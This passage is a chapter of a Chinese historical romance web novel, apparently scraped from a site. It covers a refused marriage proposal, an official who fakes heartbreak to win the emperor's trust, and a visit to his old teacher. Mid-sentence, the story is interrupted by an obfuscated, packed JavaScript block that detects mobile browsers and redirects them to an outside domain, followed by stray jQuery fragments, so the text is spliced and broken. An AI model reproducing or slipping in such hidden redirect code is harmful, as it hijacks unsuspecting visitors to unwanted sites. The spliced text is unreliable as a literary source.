祁夫人喉头一噎，赶紧解释，“这自然不会，他们父子再有两个月就班师回京，届时自然能亲自登门拜访。”
“祁夫人也道是再有两个月才回来，这世间之事瞬息万变，万一皇上改了主意，又令他们再呆个三年五载，也未可知，所以以我看来，现在说还是太早了。”
“那能不能烦请侯夫人可以暂且不要为令嫒定下婚约，等我那侄儿归来，说不定……”
吴氏眉毛一凛，气势勃发，“祁夫人这话实不应该，我女儿本就到了该议亲的年龄，之所以没定下不过一来没遇到合适的人家，二来做母亲的想多留她几年，如今若是遇到合适的人家，不定下来，反而让我待字闺中的女儿等你那侄儿，传出去我女儿的名声还要不要了？”
祁夫人额头渗出汗来，知道自己说错了话，急忙解释，自己没那个意思，不过是想为侄儿争取争取。
吴氏冷脸以对，不管是什么原因，为了自己的女儿，她情愿落得一个蛮不讲理的坏名声。
事情谈垮了，祁夫人没脸再待下去了，几不可闻地叹了一口气，作为一个大伯娘她已经尽力了，怪不得她什么，剩下的只能他二人是否真的有缘分了。
祁夫人告辞离开，恰好在门口遇到了一个明眸善睐的少女，看见她的第一时刻就笑着欠身回了一个礼，再微微退身让她行。
祁夫人多看了两眼，稍稍放缓了脚步。
不多时就隐约听见身后传来一道清脆的声音：“娘，刚刚那位夫人也是来给哥哥说亲的吗？”
后面的话含混在一起，听不清楚了。
祁夫人坐在回去的马车上，默默感叹原来是长得这副模样，怪不得自己那侄儿惦记好多年，特意写信拜托自己说合。祁夫人刚刚消停的心思，瞬间又死灰复燃起来。
一到家她立即休书一封送去边关，算着日子，书信几日到，路上又要几日功夫，拢共需要多少日，也不知道来不来得及。
……
这边霍陵领了旨进宫面圣，一路上也不知收获了多少异样的打量，有人暗中鄙夷，有人满脸艳羡。
也有一些细心的人发现，此刻本该霍陵意气风发，春风得意的时候，可他眉宇之间竟然颇有愁苦，心事重重。
不免让人疑窦丛生。
就连皇上也看出了端倪，忍不住露出笑意：“怎么，与心上人吵架了。”
霍陵心头一凛，神情严肃地看向隆昌帝，低声道：“皇上？”
隆昌帝笑道：“放心朕可没有探听臣子私事的爱好，只是上次见你的时候，你身上有伤却春风得意，眉眼带笑，朕就知道你一定是有喜欢的人了。”
“今日见到你，你整个人都变了，按道理你如今得偿所愿，本该高兴才对，可你却一副心事重重的模样，不是与心上人吵架了便是叫女人给抛弃了。”
霍陵面色微窘，“皇上莫要取笑微臣。”
“那你倒是说说，是也不是，你要注意了，朕是天子，你若是撒谎，那便是欺君之罪。”
他说这话时语气随便，像是开玩笑一般，可霍陵知道，他并不是。
霍陵迅速转换表情，一脸被发现的窘迫，无奈道：“正如皇上所言，微臣最近感情不顺。”
隆昌帝一时来了兴致，坐在椅子上，飞快道：“快说说到底是怎么一回事？”
霍陵不敢隐瞒，实话说声：“臣先前有个喜欢的人，本以为两人是日久生情，两情相悦，可直到前两天才知道这一切都是假的，我与她之间的事情，本以为是缘分使然，如今才察觉那都是她刻意设计安排的，几乎每一步都是陷阱，这段感情，微臣实在是割舍不下，所以两人算是和好了。可表面看似风平浪静，实际上隐患颇多。”
隆昌帝哈哈大笑，“原来像你这样的聪明人居然叫一个小小女子玩弄于鼓掌之间。”
隆昌帝笑够了，才道：“朕看这件事就是当局者迷旁观者清，朕只问你，你是否喜欢她？”
霍陵一脸难色，“大约是喜欢的，才会如此伤神。”
“既然喜欢何必在意那些，她肯为你费了那样的多心思，足以证明她对你的感情，这世间哪有那么多缘分，大部分都是有心之人努力的结果。”
霍陵怔肿片刻，似乎恍然大悟，恭敬道：“臣知晓了，多谢陛下指点。”
隆昌帝甚是欢喜，拍了拍霍陵的肩膀叹道：“你啊，还是太年轻了。”
他目送霍陵离去，等人走后，笑容敛去，轻声唤了一句：“玄鸱。”
话音刚落，一个黑影悄无声息地落到了一方角落里。
若是旁人乍然看见此画面，怕是要以为是白天见了鬼。
隆昌帝登记后就开始豢养暗卫，分天地玄黄四个等级，每个等级都有十二人，这四十八人遍布京都各处，便是帮他暗中探查一些秘辛，他不允许自己重蹈先帝的覆辙，被最信任的臣子掣肘，皇权架空，导致整个王朝差一点分崩离析。
玄鸱便是他安排时刻监视霍陵的一名暗卫。
隆昌帝声音泛着冷，问，“这段时间淮安侯府可有什么动静？”
暗卫低声回禀，将霍陵与他那未婚妻的事情简要说了一遍。
得知确有其事，隆昌帝这才放下心来，霍陵如今是他非常看重的臣子，越是看重就越要警惕，多少人的一败涂地是因为身边人的背叛，隆昌帝绝对不允许自己身边留有祸患。
出了皇宫，霍陵便去拜访了一位当世大儒，亦是他的授业恩师杨老先生。
杨老先生乃是元兕三十一年的进士，翰林院出身，经过三十多年的瀚海沉浮，曾官至三品，多次直言谏言而不被采纳，自知已遭先帝厌弃，后激流勇退，乞骸骨归乡。新帝登基之后，又受昔日好友邀请，于京都云麓山创办了云麓书院，任职书院山长，自此以后醉心传道授业，如今桃李满京都。
当年便是霍陵的外公吴老将军仰慕杨老先生的名气，亲自带着外孙霍陵拜师，霍陵出身世家，仕途之路可以说是早已被斩断，杨老本不欲做这种无用功，收留一个注定没有前途的学生，最后也是看在吴老将军面子上才勉强收下了霍陵。
岂料霍陵天资聪颖，一点即通，又勤奋刻苦，后以云麓学院学子的身份参与科举，一举夺得状元，反倒成为他最得意的学生。
如今见自己喜欢的学生，成为炙手可热的人物，杨老先生自然得意不已。
霍陵恭敬地叩拜恩师，“学生见过老师。”
杨老捻了捻胡须，是越看越喜欢，颇为感慨，“果然是长江后浪推前浪，老夫上谏了一辈子，如今终于
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307799|171659||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叫你给办到了。”
霍陵道：“此事须得天时地利人和，学生不过是运气好，赶上了皇上对寒门欺上瞒下的行为深恶痛绝之际，如此才促成了此事。”
杨老道：“好了，不必谦虚，此事你功不可没，当初你在我面前放出豪言壮语，老夫还以为是初生牛犊不怕虎，岂料是老夫自己眼界狭窄了，不服老不行啊！”
杨老先生当初甚至想过于大殿之上以死相谏，到底是舍弃不下家中亲人，而选择告老归乡。
如今看见自己的学生，完成了自己多年以来的目标，心中十分感慨。
作为过来人，杨老斟酌后又道：“咱们那位君主，比不得先帝仁善，又敏感多疑，你如今风头正盛，总要知道木秀于林风必摧之的道理，即便他能容你，也不可放肆，你呀最近风头实在太过了，全知全能犹如妖孽，必将引得他猜忌，总要漏点短处给他也好让他放心。卧榻之侧岂容虎豹酣睡，有弱点才是一个臣子的本分。”
霍陵点头称是，“先生不用担心，学生自有分寸。”
他今日进宫便已经解决了这件事，他是故意露出一副为情所伤的样子，自然是给那位皇上看的，天子喜欢有才干的臣子，却不喜欢臣子超越自己，他如此行径也不过让天子放心，他只是一个普通的男人，一个连男女之事都处理不好的普通男人。
况且此事即便皇上着人去查，自然也查不到什么端倪，他的感情之事确实遇到了一些问题，只不过他自己早已处理好了而已。
依照今日皇上的反应，他这一步棋走得甚好，皇上果然看他更顺眼了，不过这涉及他的私隐，没必要告诉恩师。
两人谈话之际，屋外蹦蹦跳跳进来一位姑娘。
她扮作男子打扮，却唇红齿白，体态娇软一看就让人知晓她是女子。
她上前挽住杨老的胳膊，问：“山长这是谁？也是您的学生吗？”
杨老哈哈大笑，颇为得意道：“你没见过他，不过肯定知晓他的大名，他便是去岁的新科状元霍陵，也是我的学生。”
杨老又指着身边的小姑娘给霍陵介绍：“这是我的孙女，自小被娇宠坏了，没有规矩。”
霍陵只淡淡地扫了她一眼，顺势喊了一声“杨姑娘”。
却听小姑娘惊呼道：“呀，你就是那位霍侍读，我知道你，这段时间书院的同窗们一直说起你的事情。”
她看向霍陵的眼睛亮亮的，随即又嗔怒地瞧了一眼杨老：“山长不是说了吗，不要随便在外面暴露我是您孙女的秘密，我如今只是云麓书院的一个普通学生，既然霍侍读也是山长的学生，那他就是我的师兄了。”
她上前一步，拱手行了一个读书人之间的礼，认真道：“霍师兄，我乃云麓书院的学生杨韵，往后请多多指教。”
她的动作言语皆有模有样，可终究带了一分女儿之间的娇气。
霍陵表情淡淡，带着一丝疏离与客气，微微点头，说了一些场面话。
小姑娘话很多，说起来滔滔不绝，霍陵耐着性子，直到天色不早了，才提出告辞离开。
霍陵的身影消失了许久，杨韵还盯着她离去的方向看个不停，一副失魂落魄的模样。
杨老一下子看出了孙女的心事，笑道：“怎么看上人家了？”